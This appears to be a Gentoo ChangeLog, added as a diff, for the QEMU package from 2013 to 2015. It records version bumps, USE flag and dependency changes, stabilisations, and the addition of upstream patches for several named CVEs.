for app-emulation/qemu +# Copyright 1999-2015 Gentoo Foundation; Distributed under the GPL v2 +# $Header: /var/cvsroot/gentoo-x86/app-emulation/qemu/ChangeLog,v 1.348 2015/08/05 06:47:50 vapier Exp $ + + 05 Aug 2015; Mike Frysinger qemu-9999.ebuild: + Allow disabling of all user & softmmu targets so that the ebuild only installs + the various helper tools #556712 by Matthew Thode. + + 05 Aug 2015; Mike Frysinger qemu-2.3.0-r5.ebuild, + qemu-9999.ebuild: + Move seabios bin clean up under the softmmu check since user tools do not + install blobs. + + 05 Aug 2015; Mike Frysinger qemu-9999.ebuild: + Unify target logic a bit. + + 04 Aug 2015; Agostino Sarubbo qemu-2.3.0-r5.ebuild: + Stable for x86, wrt bug #556630 + + 04 Aug 2015; Agostino Sarubbo qemu-2.3.0-r5.ebuild: + Stable for amd64, wrt bug #556630 + + 03 Aug 2015; Doug Goldstein -qemu-2.2.1-r2.ebuild, + -qemu-2.3.0-r1.ebuild, -qemu-2.3.0-r2.ebuild, -qemu-2.3.0-r3.ebuild: + Remove older versions due to vulnerabilities. + +*qemu-2.3.0-r5 (03 Aug 2015) + + 03 Aug 2015; Doug Goldstein + +files/qemu-2.3.0-CVE-2015-5165-1.patch, + +files/qemu-2.3.0-CVE-2015-5165-2.patch, + +files/qemu-2.3.0-CVE-2015-5165-3.patch, + +files/qemu-2.3.0-CVE-2015-5165-4.patch, + +files/qemu-2.3.0-CVE-2015-5165-5.patch, + +files/qemu-2.3.0-CVE-2015-5165-6.patch, + +files/qemu-2.3.0-CVE-2015-5165-7.patch, + +files/qemu-2.3.0-CVE-2015-5166.patch, +qemu-2.3.0-r5.ebuild: + bump to fix CVE-2015-5165 and CVE-2015-5166. bug #556304 + + 28 Jul 2015; Agostino Sarubbo qemu-2.3.0-r4.ebuild: + Stable for x86, wrt bug #556052 + + 28 Jul 2015; Agostino Sarubbo qemu-2.3.0-r4.ebuild: + Stable for amd64, wrt bug #556052 + +*qemu-2.3.0-r4 (27 Jul 2015) + + 27 Jul 2015; Doug Goldstein + +files/qemu-2.3.0-CVE-2015-3214.patch, + +files/qemu-2.3.0-CVE-2015-5154-1.patch, + +files/qemu-2.3.0-CVE-2015-5154-2.patch, + +files/qemu-2.3.0-CVE-2015-5154-3.patch, +qemu-2.3.0-r4.ebuild: + Fix for CVE-2015-3214, handle out-of-bounds memory access when reading from + the PIT Mode/Command register. Fix for CVE-2015-5154, handle ATAPI heap + overflow during I/O access. + +*qemu-2.3.0-r3 (25 Jul 2015) + + 25 Jul 2015; Doug Goldstein + +files/qemu-2.3.0-CVE-2015-5158.patch, +qemu-2.3.0-r3.ebuild: + Add fix from upstream for CVE-2015-5158 #555680 by Agostino Sarubbo. + + 25 Jul 2015; Doug Goldstein qemu-9999.ebuild: + Upstream made VNC WebSockets unconditional. As of commit + 8e9b0d24fb986d4241ae3b77752eca5dab4cb486 --{enable,disable}-vnc-wc + has been removed. Thanks to Daniel Scharrer for + noticing this. fixes bug #555834 + + 20 Jul 2015; Mike Frysinger metadata.xml: + Use the herd tag only so people assign bugs correctly. + + 20 Jul 2015; Mike Frysinger metadata.xml, + qemu-9999.ebuild: + Drop quorum configure flag to match upstream which made it unconditional + #554274 by Guy. + + 06 Jul 2015; Mike Frysinger metadata.xml, + qemu-9999.ebuild: + Add USE=vte to control the dep explicitly and fix SLOT handling for diff gtk + versions #545158 by nzqr. + + 06 Jul 2015; Agostino Sarubbo qemu-2.3.0-r2.ebuild: + Stable for x86, wrt bug #551752 + + 06 Jul 2015; Agostino Sarubbo qemu-2.3.0-r2.ebuild: + Stable for amd64, wrt bug #551752 + +*qemu-2.3.0-r2 (12 Jun 2015) + + 12 Jun 2015; Mike Frysinger + +files/qemu-2.3.0-CVE-2015-3209.patch, +qemu-2.3.0-r2.ebuild: + Add fix from upstream for CVE-2015-3209 #551752 by Agostino Sarubbo. + + 16 May 2015; Mike Frysinger qemu-9999.ebuild: + Require mesa[gles2] for USE=opengl to match upstream #549558 by Michal + Privoznik. + + 14 May 2015; Agostino Sarubbo + -files/qemu-2.1.1-readlink-self.patch, + -files/qemu-2.1.2-vnc-sanitize-bits.patch, -qemu-2.1.2-r2.ebuild, + -qemu-2.1.3-r1.ebuild, -qemu-2.1.3.ebuild, -qemu-2.2.0.ebuild, + -qemu-2.2.1-r1.ebuild, -qemu-2.2.1.ebuild, -qemu-2.3.0.ebuild, + qemu-2.2.1-r2.ebuild: + Stable for amd64/x86 - remove old. + + 14 May 2015; Mike Frysinger qemu-9999.ebuild: + Drop kvm warning as it has been ~1 year now since the changes landed. + + 13 May 2015; Mike Frysinger metadata.xml, + qemu-9999.ebuild: + Add USE=sdl2 to prefer libsdl2 over libsdl #547306 by Nikoli. + + 13 May 2015; Mike Frysinger + +files/qemu-2.3.0-CVE-2015-3456.patch, qemu-2.1.3-r1.ebuild, + qemu-2.2.1-r2.ebuild, qemu-2.3.0-r1.ebuild: + Move patch to $FILESDIR as it is small and matches what we do everywhere else. + +*qemu-2.2.1-r2 (13 May 2015) +*qemu-2.3.0-r1 (13 May 2015) +*qemu-2.1.3-r1 (13 May 2015) + + 13 May 2015; Robin H. Johnson +qemu-2.1.3-r1.ebuild, + +qemu-2.2.1-r2.ebuild, +qemu-2.3.0-r1.ebuild: + Security bugfix for CVE-2015-3456 / VENOM. + + 05 May 2015; Mike Frysinger -files/qemu-9999-cflags.patch, + -files/qemu-9999-virtfs-proxy-helper-accept.patch, -files/qemu-kvm-1.4: + Drop files no longer referenced by ebuilds. + +*qemu-2.3.0 (28 Apr 2015) + + 28 Apr 2015; Mike Frysinger +qemu-2.3.0.ebuild, + qemu-9999.ebuild: + Version bump. + +*qemu-2.2.1-r1 (12 Apr 2015) + + 12 Apr 2015; Mike Frysinger + +files/qemu-2.2.1-CVE-2015-1779-1.patch, + +files/qemu-2.2.1-CVE-2015-1779-2.patch, +qemu-2.2.1-r1.ebuild: + Add fixes from upstream for CVE-2015-1779 #544328 by Agostino Sarubbo. + + 08 Apr 2015; Michał Górny qemu-2.1.2-r2.ebuild, + qemu-2.1.3.ebuild, qemu-2.2.0.ebuild, qemu-2.2.1.ebuild: + Remove old Python implementations + + 05 Apr 2015; Matthias Maier qemu-2.1.3.ebuild, + qemu-2.2.0.ebuild: + Ebuild maintenance: Remove backports SRC_URI to my devspace where not needed + + 04 Apr 2015; Mike Frysinger metadata.xml, + qemu-9999.ebuild: + Add USE=gtk2 so people can force older GTK versions #545158 by nzqr. + + 28 Mar 2015; Mike Frysinger qemu-9999.ebuild: + Put softmmu/user deps behind the respective flags so we do not pull in one set + when they are not enabled #538958 by Anthoine Bourgeois. + + 25 Mar 2015; Agostino Sarubbo qemu-2.2.0.ebuild: + Stable for x86, wrt bug #542910 + + 16 Mar 2015; Mike Frysinger qemu-9999.ebuild: + Handle renamed opengl configure flag #543386 by Chase Rayfield. + + 12 Mar 2015; Agostino Sarubbo qemu-2.2.0.ebuild: + Stable for amd64, wrt bug #542910 + +*qemu-2.2.1 (11 Mar 2015) + + 11 Mar 2015; Mike Frysinger +qemu-2.2.1.ebuild, + qemu-9999.ebuild: + Version bump #542900 by Thomas Stein. + + 28 Feb 2015; Andrew Savchenko metadata.xml: + seccomp USE flag is now global, removing from metadata + +*qemu-2.1.3 (27 Jan 2015) + + 27 Jan 2015; Matthias Maier +qemu-2.1.3.ebuild, + qemu-2.1.2-r2.ebuild, qemu-2.2.0.ebuild: + version bump, bug #537648 + + 21 Dec 2014; Matthias Maier -qemu-2.1.2-r1.ebuild: + drop vulnerable, bug #531666 (CVE-2014-8106) + + 21 Dec 2014; Agostino Sarubbo qemu-2.1.2-r2.ebuild: + Stable for x86, wrt bug #531666 + + 21 Dec 2014; Agostino Sarubbo qemu-2.1.2-r2.ebuild: + Stable for amd64, wrt bug #531666 + +*qemu-2.1.2-r2 (14 Dec 2014) + + 14 Dec 2014; Matthias Maier +qemu-2.1.2-r2.ebuild: + backport fixes for bugs #530498, #531666 (CVE-2014-8106), #529030 + (CVE-2014-7840), #528922 (528922) + +*qemu-2.2.0 (14 Dec 2014) + + 14 Dec 2014; Matthias Maier +qemu-2.2.0.ebuild, + metadata.xml: + version bump; cleanup whitespace in metadata.xml + + 11 Dec 2014; Michał Górny qemu-2.1.2-r1.ebuild, + qemu-9999.ebuild: + Add missing udev_reload call in case udev rules are installed, fixes + https://bugs.funtoo.org/browse/FL-1626. + + 08 Nov 2014; Agostino Sarubbo + -files/qemu-2.1.0-CVE-2014-5388.patch, -qemu-2.1.0-r1.ebuild, + -qemu-2.1.1.ebuild, -qemu-2.1.2.ebuild: + Remove old + + 08 Nov 2014; Agostino Sarubbo qemu-2.1.2-r1.ebuild: + Stable for x86, wrt bug #527088 + + 08 Nov 2014; Agostino Sarubbo qemu-2.1.2-r1.ebuild: + Stable for amd64, wrt bug #527088 + + 02 Nov 2014; Sven Vermeulen qemu-2.1.1.ebuild, + qemu-2.1.2-r1.ebuild, qemu-2.1.2.ebuild, qemu-9999.ebuild: + Remove sec-policy/selinux-* dependency from DEPEND but keep in RDEPEND (bug + #527698) + +*qemu-2.1.2-r1 (31 Oct 2014) + + 31 Oct 2014; Mike Frysinger + +files/qemu-2.1.2-vnc-sanitize-bits.patch, +qemu-2.1.2-r1.ebuild: + Add fix from upstream for vnc arg sanitizing #527088 by Agostino Sarubbo. + + 23 Oct 2014; Agostino Sarubbo qemu-2.1.1.ebuild: + Stable for x86, wrt bug #522364 + + 23 Oct 2014; Agostino Sarubbo qemu-2.1.1.ebuild: + Stable for amd64, wrt bug #522364 + +*qemu-2.1.2 (16 Oct 2014) + + 16 Oct 2014; Mike Frysinger +qemu-2.1.2.ebuild: + Version bump #523428 by Agostino Sarubbo. + + 26 Sep 2014; Mike Gilbert qemu-2.1.1.ebuild, + qemu-9999.ebuild: + Utilize PYTHON_REQUIRED_USE unconditionally. We always need at least one + python version enabled for building. + + 13 Sep 2014; Agostino Sarubbo + -files/qemu-2.0.0-CVE-2013-4541.patch, -files/qemu-2.0.0-CVE-2014-0222.patch, + -files/qemu-2.0.0-CVE-2014-0223.patch, + -files/qemu-2.0.0-qcow-check-max-sizes.patch, + -files/qemu-2.0.0-usb-post-load-checks.patch, -qemu-2.0.0-r1.ebuild, + -qemu-2.1.0.ebuild: + Remove old + + 13 Sep 2014; Agostino Sarubbo qemu-2.1.0-r1.ebuild: + Stable for x86, wrt bug #520688 + + 13 Sep 2014; Agostino Sarubbo qemu-2.1.0-r1.ebuild: + Stable for amd64, wrt bug #520688 + +*qemu-2.1.1 (12 Sep 2014) + + 12 Sep 2014; Mike Frysinger + +files/qemu-2.1.1-readlink-self.patch, +qemu-2.1.1.ebuild: + Version bump. + + 06 Sep 2014; Mike Frysinger qemu-2.1.0-r1.ebuild, + qemu-9999.ebuild: + Move USE=xattr logic to common code path since qemu-user uses it too #522202 + by Thomas Reitmayr. + + 28 Aug 2014; Mike Frysinger qemu-2.1.0-r1.ebuild, + qemu-9999.ebuild: + Mark u-boot binaries as prebuilt #521286 by Agostino Sarubbo. + + 28 Aug 2014; Mike Frysinger + +files/qemu-2.1.0-CVE-2014-5388.patch, -files/CVE-2014-5388.patch, + qemu-2.1.0-r1.ebuild: + Clean up CVE patch #520688 by Agostino Sarubbo. + +*qemu-2.1.0-r1 (27 Aug 2014) + + 27 Aug 2014; Agostino Sarubbo +files/CVE-2014-5388.patch, + +qemu-2.1.0-r1.ebuild: + Fix CVE-2014-5388 wrt bug #520688 + + 27 Aug 2014; Patrick Lauer metadata.xml: + Remove unneeded useflag description from metadata.xml + + 26 Aug 2014; Agostino Sarubbo -qemu-1.4.2.ebuild, + -qemu-1.5.3.ebuild, -qemu-1.6.0-r1.ebuild, -qemu-1.6.1.ebuild, + -qemu-1.6.2.ebuild, -qemu-1.7.0.ebuild, -qemu-1.7.1.ebuild, + -qemu-2.0.0.ebuild: + Remove old + + 20 Aug 2014; Agostino Sarubbo qemu-2.0.0-r1.ebuild: + Stable for x86, wrt bug #510208 + + 20 Aug 2014; Agostino Sarubbo qemu-2.0.0-r1.ebuild: + Stable for amd64, wrt bug #510208 + + 11 Aug 2014; Mike Frysinger qemu-2.0.0-r1.ebuild: + Hack lzo/snappy flags in the older release #519520 by Luis Ressel. + + 08 Aug 2014; Mike Frysinger qemu-2.0.0-r1.ebuild, + qemu-2.1.0.ebuild, qemu-9999.ebuild: + Require new enough libnfs #519226 by Mirko Guenther. + + 05 Aug 2014; Mike Frysinger metadata.xml, + qemu-2.1.0.ebuild, qemu-9999.ebuild: + Add USE=pin-upstream-blobs so people can opt to use any version of + seabios/etc... on their local systems. + + 05 Aug 2014; Mike Frysinger qemu-2.1.0.ebuild, + qemu-9999.ebuild: + Unify configure lists so that we disable all the softmmu flags when building + the user targets to avoid automagic deps leaking in. + + 05 Aug 2014; Mike Frysinger qemu-2.0.0-r1.ebuild, + qemu-2.1.0.ebuild, qemu-9999.ebuild: + Add USE=infiniband to control librdma automagic dep. + + 05 Aug 2014; Mike Frysinger metadata.xml, + qemu-2.1.0.ebuild, qemu-9999.ebuild: + Add USE=numa to control numactl automagic dep. + + 05 Aug 2014; Mike Frysinger metadata.xml, + qemu-2.0.0-r1.ebuild, qemu-2.1.0.ebuild, qemu-9999.ebuild: + Add USE=lzo/snappy to control liblzo/snappy automagic deps. + + 05 Aug 2014; Mike Frysinger metadata.xml, + qemu-2.0.0-r1.ebuild, qemu-2.1.0.ebuild, qemu-9999.ebuild: + Add USE=nfs to control libnfs automagic dep. + + 05 Aug 2014; Mike Frysinger metadata.xml, + qemu-2.0.0-r1.ebuild, qemu-2.0.0.ebuild, qemu-2.1.0.ebuild, qemu-9999.ebuild: + Control quorum via USE=tls since it also relies on gnutls. + + 04 Aug 2014; Mike Frysinger files/qemu-binfmt.initd-r1: + actually use the new $QEMU_BINFMT_FLAGS + +*qemu-2.1.0 (04 Aug 2014) + + 04 Aug 2014; Mike Frysinger +qemu-2.1.0.ebuild, + files/qemu-binfmt.initd-r1: + Version bump #518806 by José Romildo Malaquias. Add aarch64 to the init + script, and switch flags from P to OC until qemu itself can understand the + extra argv[0] #512780 by Bertrand Jacquin. + + 29 Jul 2014; Mike Frysinger qemu-2.0.0-r1.ebuild, + qemu-9999.ebuild: + Do not try to mung blobs when they are not installed. + + 29 Jul 2014; Mike Frysinger qemu-2.0.0-r1.ebuild, + qemu-9999.ebuild: + Add USE=nls support #515544 by Nikoli. + + 29 Jul 2014; Mike Frysinger qemu-2.0.0-r1.ebuild, + qemu-9999.ebuild: + Do not attempt to set fcaps on virtfs-proxy-helper when it does not exist + #516874 by Joakim Tjernlund. + + 29 Jul 2014; Mike Frysinger qemu-2.0.0-r1.ebuild, + qemu-9999.ebuild: + Update PaX markings on system binaries before executing tests with them + #515550 by Nikoli. + + 06 Jun 2014; Mike Frysinger qemu-2.0.0-r1.ebuild, + qemu-2.0.0.ebuild, qemu-9999.ebuild: + Disable mprotect on qemu binaries #459348 by Alon Bar-Lev. + + 04 Jun 2014; Mike Frysinger qemu-2.0.0-r1.ebuild, + qemu-2.0.0.ebuild, qemu-9999.ebuild: + Fix src_test when softmmu is disabled. Fix install of test results when + generating them failed #512010 by Markus Oehme. + + 04 Jun 2014; Agostino Sarubbo qemu-2.0.0.ebuild: + Stable for x86, wrt bug #507796 + + 04 Jun 2014; Agostino Sarubbo qemu-2.0.0.ebuild: + Stable for amd64, wrt bug #507796 + + 04 Jun 2014; Mike Frysinger qemu-2.0.0-r1.ebuild, + qemu-2.0.0.ebuild, qemu-9999.ebuild: + Check for config files still using `qemu-kvm`. + + 31 May 2014; Mike Frysinger qemu-2.0.0-r1.ebuild, + qemu-2.0.0.ebuild: + Update seabios dep to match what is included in the source #510680 by Pat + Erley. + +*qemu-2.0.0-r1 (31 May 2014) + + 31 May 2014; Mike Frysinger + +files/qemu-2.0.0-CVE-2013-4541.patch, +files/qemu-2.0.0-CVE-2014-0222.patch, + +files/qemu-2.0.0-CVE-2014-0223.patch, + +files/qemu-2.0.0-qcow-check-max-sizes.patch, + +files/qemu-2.0.0-usb-post-load-checks.patch, +qemu-2.0.0-r1.ebuild: + Add fixes from upstream for various CVEs #510208 #510234. + + 31 May 2014; Mike Frysinger qemu-2.0.0.ebuild, + qemu-9999.ebuild: + Drop qemu-kvm wrapper entirely and tell people to use -enable-kvm instead. + #506566 by nobody. + + 18 May 2014; Mike Frysinger qemu-2.0.0.ebuild, + qemu-9999.ebuild: + Set --cxx unconditionally. + + 12 May 2014; Mike Frysinger qemu-9999.ebuild: + Drop patch now that it is merged upstream #510068 by Hristo Venev. + + 25 Apr 2014; Mike Frysinger qemu-2.0.0.ebuild, + qemu-9999.ebuild: + Fix static lib requirements for USE=static-user #487918 by jannis. + + 25 Apr 2014; Mike Frysinger qemu-2.0.0.ebuild, + qemu-9999.ebuild: + Simplify style for generating USE flags and configure options -- should be no + functional changes here. + + 22 Apr 2014; Mike Frysinger qemu-2.0.0.ebuild, + qemu-9999.ebuild: + Add aarch64 targets. + + 20 Apr 2014; Mike Frysinger qemu-1.7.0.ebuild, + qemu-1.7.1.ebuild, qemu-2.0.0.ebuild, qemu-9999.ebuild: + Drop USE=mixemu as the configure flag no longer exists #508194 by OGINO + Masanori. + +*qemu-2.0.0 (19 Apr 2014) + + 19 Apr 2014; Mike Frysinger +qemu-2.0.0.ebuild: + Version bump. + + 19 Apr 2014; Mike Frysinger + +files/qemu-9999-virtfs-proxy-helper-accept.patch, qemu-9999.ebuild: + Fix by Tim Comer for stack overflow in virtfs-proxy-helper #486714. + + 19 Apr 2014; Mike Frysinger qemu-1.4.2.ebuild, + qemu-1.5.3.ebuild, qemu-1.6.0-r1.ebuild, qemu-1.6.1.ebuild, qemu-1.6.2.ebuild, + qemu-1.7.0.ebuild, qemu-1.7.1.ebuild, qemu-9999.ebuild: + Export a sane default AR #484974 by Agostino Sarubbo. + + 19 Apr 2014; Mike Frysinger qemu-1.4.2.ebuild, + qemu-1.5.3.ebuild, qemu-1.6.0-r1.ebuild, qemu-1.6.1.ebuild, qemu-1.6.2.ebuild, + qemu-1.7.0.ebuild, qemu-1.7.1.ebuild, qemu-9999.ebuild: + Move python_export_best call to src_configure to avoid binpkg issues #496554 + by Rafal Kupiec. + +*qemu-1.7.1 (19 Apr 2014) + + 19 Apr 2014; Mike Frysinger +qemu-1.7.1.ebuild: + Version bump. + + 24 Mar 2014; Samuli Suominen metadata.xml, + qemu-1.4.2.ebuild, qemu-1.5.3.ebuild, qemu-1.6.0-r1.ebuild, qemu-1.6.1.ebuild, + qemu-1.6.2.ebuild, qemu-1.7.0.ebuild, qemu-9999.ebuild: + Replace dependency to libusbx >= 1.0.13 with libusb >= 1.0.18 (because this is + where the libusbx code moved) + + 24 Feb 2014; Pawel Hajdan jr qemu-1.5.3.ebuild: + x86 stable wrt bug #483760 + + 19 Jan 2014; Doug Goldstein qemu-1.7.0.ebuild: + Nudge the SeaBIOS depend to the correct version for this release. + + 19 Jan 2014; Doug Goldstein -qemu-1.5.2-r1.ebuild, + -qemu-1.5.2-r2.ebuild, -qemu-1.6.0.ebuild: + Cull some older versions + +*qemu-1.7.0 (19 Dec 2013) +*qemu-1.6.2 (19 Dec 2013) + + 19 Dec 2013; Mike Frysinger + +files/qemu-1.7.0-cflags.patch, +qemu-1.6.2.ebuild, +qemu-1.7.0.ebuild, + qemu-9999.ebuild: + Version bumps. + +*qemu-1.6.1 (21 Oct 2013) + + 21 Oct 2013; Doug Goldstein +qemu-1.6.1.ebuild, + metadata.xml: + Version bump. Fixes CVE-2013-4377 (bug #486352). Fix automagic depend on + libssh2 (bug #487918). Fix automagic depend on libusbx (bug #487810) + +*qemu-1.6.0-r1 (17 Sep 2013) + + 17 Sep 2013; Doug Goldstein +qemu-1.6.0-r1.ebuild: + Initial work on the 1.6.x stable patch queue. + + 15 Sep 2013; Agostino Sarubbo qemu-1.5.3.ebuild: + Stable for amd64, wrt bug #483760 + + 06 Sep 2013; Doug Goldstein qemu-1.6.0.ebuild: + arm, microblaze, ppc, and ppc64 softmmu targets require USE=fdt, patch from + Mike Gilbert fixes bug #482878 + + 05 Sep 2013; Michał Górny qemu-1.4.2.ebuild, + qemu-1.5.2-r1.ebuild, qemu-1.5.2-r2.ebuild, qemu-1.5.3.ebuild, + qemu-1.6.0.ebuild, qemu-9999.ebuild: + Clean up PYTHON_COMPAT from old implementations. + +*qemu-1.5.3 (27 Aug 2013) + + 27 Aug 2013; Doug Goldstein +qemu-1.5.3.ebuild: + Version bump + + 19 Aug 2013; Doug Goldstein qemu-9999.ebuild: + SeaBIOS/VGABios/sgabios are not meant to be a versioned depend for the live + ebuild. bug #481594 + + 19 Aug 2013; Doug Goldstein qemu-1.5.2-r1.ebuild, + qemu-1.5.2-r2.ebuild, qemu-1.6.0.ebuild: + Fix dependency on sys-apps/dtc due to internal copy of fdt_env.h in QEMU + sources. bug #480680 + + 17 Aug 2013; Sergei Trofimovich qemu-9999.ebuild: + Conditionalize '--enable-migration-from-qemu-kvm' (not an upstream option). + +*qemu-1.6.0 (16 Aug 2013) + + 16 Aug 2013; Doug Goldstein +qemu-1.6.0.ebuild, + qemu-9999.ebuild: + Version bump + + 14 Aug 2013; Patrick Lauer metadata.xml, + qemu-1.5.2-r1.ebuild, qemu-1.5.2-r2.ebuild: + Remove unneded useflag description, fix repoman whitespace warnings + + 14 Aug 2013; Doug Goldstein -qemu-1.5.2.ebuild: + Remove older version + +*qemu-1.5.2-r2 (14 Aug 2013) + + 14 Aug 2013; Doug Goldstein +qemu-1.5.2-r2.ebuild, + -qemu-1.4.1.ebuild, -qemu-1.4.2-r1.ebuild: + Bump the stable patchset. + + 04 Aug 2013; Doug Goldstein qemu-9999.ebuild: + Fix libseccomp depend for master. bug #479562 + +*qemu-1.5.2-r1 (03 Aug 2013) + + 03 Aug 2013; Doug Goldstein +qemu-1.5.2-r1.ebuild, + metadata.xml: + Version bump to include my tested stable patchset. Add support for GlusterFS, + bug #468726 + +*qemu-1.5.2 (27 Jul 2013) + + 27 Jul 2013; Doug Goldstein +qemu-1.5.2.ebuild, + -qemu-1.5.1.ebuild: + Version bump and start of the Gentoo patchset. + + 27 Jul 2013; Doug Goldstein + -files/qemu-1.2.0-cflags.patch, -files/qemu-binfmt.initd, -files/qemu-kvm, + -qemu-1.2.2-r2.ebuild, -qemu-1.2.2-r3.ebuild, -qemu-1.2.2-r4.ebuild, + -qemu-1.4.0-r1.ebuild: + Cull old versions and old files from the tree + + 27 Jul 2013; Doug Goldstein qemu-1.4.2-r1.ebuild: + Fix static-user builds needing to depend on glib with USE=static-libs. bug + #478138 + +*qemu-1.4.2-r1 (27 Jul 2013) + + 27 Jul 2013; Doug Goldstein +qemu-1.4.2-r1.ebuild: + Fix qxl rom size from old migrations. Fix rtl8139 large copies on Windows. Fix + large copy and pastes with SPICE. Fix inability to disable all softmmu targets + (bug #466806). Utilize readme.eclass. Other misc cleanups from 1.5.x ebuild. + + 26 Jul 2013; Sergei Trofimovich qemu-9999.ebuild: + Fix configure phase. NPTL is not a user-configurable feature anymore. + +*qemu-1.5.1 (19 Jul 2013) + + 19 Jul 2013; Doug Goldstein +qemu-1.5.1.ebuild: + Really need to get started on qemu 1.5.x + + 19 Jul 2013; Doug Goldstein qemu-1.4.2.ebuild: + Swore this already was committed but I guess not. Fix depends for generating + the man pages and documentation. bug #477106 + + 25 Jun 2013; Agostino Sarubbo qemu-1.4.2.ebuild: + Stable for amd64, wrt bug #473426 + + 25 Jun 2013; Agostino Sarubbo qemu-1.4.2.ebuild: + Stable for x86, wrt bug #473426 + + 22 Jun 2013; Sergei Trofimovich qemu-9999.ebuild: + Adjust 'dtc' depend to require development snapshot. Add 's390-ccw.img' to + list of prebuilts. + + 20 Jun 2013; Mike Frysinger metadata.xml, + qemu-1.4.2.ebuild, qemu-9999.ebuild: + Change USE=brltty to the common USE=accessibility #473868. + + 04 Jun 2013; Agostino Sarubbo qemu-1.4.1.ebuild: + Stable for x86, wrt bug #466092 + + 04 Jun 2013; Agostino Sarubbo qemu-1.4.1.ebuild: + Stable for amd64, wrt bug #466092 + + 31 May 2013; Sergei Trofimovich qemu-9999.ebuild: + Added system target: moxie; user targets: mips64, mips64el, mipsn32, + mipsn32el. + + 31 May 2013; Sergei Trofimovich qemu-9999.ebuild: + Unbreak live ebuild: tried to apply nonexisting BACKPORTS, --enable-opengl was + renamed to --enable-glx. + + 30 May 2013; Doug Goldstein qemu-9999.ebuild: + Updates to the live ebuild + + 30 May 2013; Doug Goldstein qemu-1.4.2.ebuild: + Add a missing PYTHON_REQUIRED_USE for the conversion to python-r1 eclass. + +*qemu-1.4.2 (30 May 2013) + + 30 May 2013; Doug Goldstein +qemu-1.4.2.ebuild: + Version bump. Install more python scripts for debugging purposes with + USE=python. Fix man pages not being installed. bug #435534 + + 23 May 2013; Agostino Sarubbo qemu-1.4.0-r1.ebuild: + Stable for amd64, wrt bug #468920 + + 08 May 2013; Agostino Sarubbo qemu-1.4.0-r1.ebuild: + Reverted on x86 because it is masked + + 07 May 2013; Agostino Sarubbo qemu-1.4.0-r1.ebuild: + accidentally keyworded for amd64 + + 07 May 2013; Agostino Sarubbo qemu-1.4.0-r1.ebuild: + Stable for x86, wrt bug #468920 + + 07 May 2013; Doug Goldstein -qemu-1.1.1-r1.ebuild, + -qemu-1.1.2-r2.ebuild, qemu-1.2.2-r3.ebuild, qemu-1.2.2-r4.ebuild, + -qemu-1.3.1.ebuild, -qemu-1.4.0.ebuild, qemu-1.4.0-r1.ebuild, + qemu-1.4.1.ebuild, qemu-9999.ebuild: + Drop older versions. Fix HOMEPAGE. bug #463364 + +*qemu-1.4.1 (07 May 2013) + + 07 May 2013; Doug Goldstein +qemu-1.4.1.ebuild: + Version bump. + + 28 Mar 2013; Steev Klimaszewski qemu-9999.ebuild: + Upstream has changed the qemu configure script, change requested by Cardoe + via email + + 19 Mar 2013; Doug Goldstein qemu-1.4.0-r1.ebuild: + Always ensure the check-report is generated. fixes bug #462010 + +*qemu-1.4.0-r1 (17 Mar 2013) + + 17 Mar 2013; Doug Goldstein +qemu-1.4.0-r1.ebuild, + metadata.xml: + Further work on developing the qemu 1.4.1 stable bump, contains my entire + queue + qemu-kvm migration fixes shared with Fedora. Ensure any libraries + which maybe installed are installed into /usr/lib64 for 64-bit systems. Add + support for libiscsi. Add support for running qemu tests. Also fix bug + #459246, and bug #459120. + + 12 Mar 2013; Doug Goldstein qemu-1.4.0.ebuild: + Add some information on what versions of dependencies we are using to emerge + --info + + 02 Mar 2013; Doug Goldstein metadata.xml: + Update USE flag description based on confusion from upstream reported bug + + 01 Mar 2013; Tiziano Müller qemu-1.4.0.ebuild: + Don't block spice[smartcard] as libcacard is the real blocker and it doesn't + work as planned. + + 28 Feb 2013; Doug Goldstein qemu-9999.ebuild: + TODO no longer exists in the top level. Items are tracked in the bug tracker + now + + 28 Feb 2013; Tiziano Müller qemu-1.4.0.ebuild: + Block libcacard since qemu is libcacard upstream and bundles/installs it from + now on. Also block spice[smartcard] if smartcard-support in qemu is requested + since that one is pulling in libcacard and to make sure users know what to do. + Renaming the binary is then not required anymore. + + 26 Feb 2013; Doug Goldstein qemu-1.2.2-r4.ebuild, + qemu-1.4.0.ebuild: + Fix more typos + + 26 Feb 2013; Doug Goldstein -qemu-1.3.0.ebuild: + Remove older version + + 26 Feb 2013; Doug Goldstein qemu-1.2.2-r4.ebuild, + qemu-1.4.0.ebuild: + Fix fcaps usage + + 25 Feb 2013; Doug Goldstein qemu-1.4.0.ebuild: + Fix patch to virtfs-proxy-helper + + 25 Feb 2013; Agostino Sarubbo qemu-1.2.2-r3.ebuild: + Stable for x86, wrt bug #459094 + + 25 Feb 2013; Agostino Sarubbo qemu-1.2.2-r3.ebuild: + Stable for amd64, wrt bug #459094 + + 25 Feb 2013; Doug Goldstein qemu-1.4.0.ebuild, + metadata.xml: + Fix up depends. Disable building of tools for the user emulation targets to + remove some necessary depends. Fix automagical depend on GnuTLS when VNC + WebSockets are enabled. + + 25 Feb 2013; Doug Goldstein +files/qemu-kvm-1.4, + qemu-1.4.0.ebuild: + Patches from Cole Robinson for qemu-kvm -> qemu migration fixes. + Start on the stable 1.4 patch series. New qemu-kvm wrapper. + +*qemu-1.2.2-r4 (25 Feb 2013) + + 25 Feb 2013; Doug Goldstein +qemu-1.2.2-r4.ebuild, + qemu-1.4.0.ebuild: + Support file capabilities for helper binaries + + 21 Feb 2013; Doug Goldstein qemu-1.2.2-r3.ebuild, + +files/bridge.conf: + Add example qemu-bridge-helper config script. + + 17 Feb 2013; Mike Frysinger files/qemu-binfmt.initd, + files/qemu-binfmt.initd-r1: + Simplify initial checks. + + 17 Feb 2013; Mike Frysinger files/qemu-binfmt.initd, + files/qemu-binfmt.initd-r1: + Fix bashisms in init.d scripts. + +*qemu-1.4.0 (16 Feb 2013) + + 16 Feb 2013; Doug Goldstein +qemu-1.4.0.ebuild: + Initial 1.4.0 version bump + +*qemu-1.3.1 (16 Feb 2013) + + 16 Feb 2013; Doug Goldstein +qemu-1.3.1.ebuild, + qemu-9999.ebuild: + Add a pending 1.3.1 version bump + + 10 Feb 2013; Doug Goldstein qemu-1.2.2-r3.ebuild: + Fix PYTHON_DEPEND line + + 10 Feb 2013; Doug Goldstein -qemu-1.2.1.ebuild, + -qemu-1.2.2.ebuild: + Remove older versions + +*qemu-1.2.2-r3 (10 Feb 2013) + + 10 Feb 2013; Doug Goldstein +qemu-1.2.2-r3.ebuild, + -qemu-1.2.2-r100.ebuild: + Bump to support two different builds for user targets and + system targets to allow you to build one static and one + dynamic. Additionally bump the patchset to include fixes for + bug #455552 and bug #454364 + + 10 Feb 2013; Doug Goldstein qemu-1.3.0.ebuild: + Add back vgabios 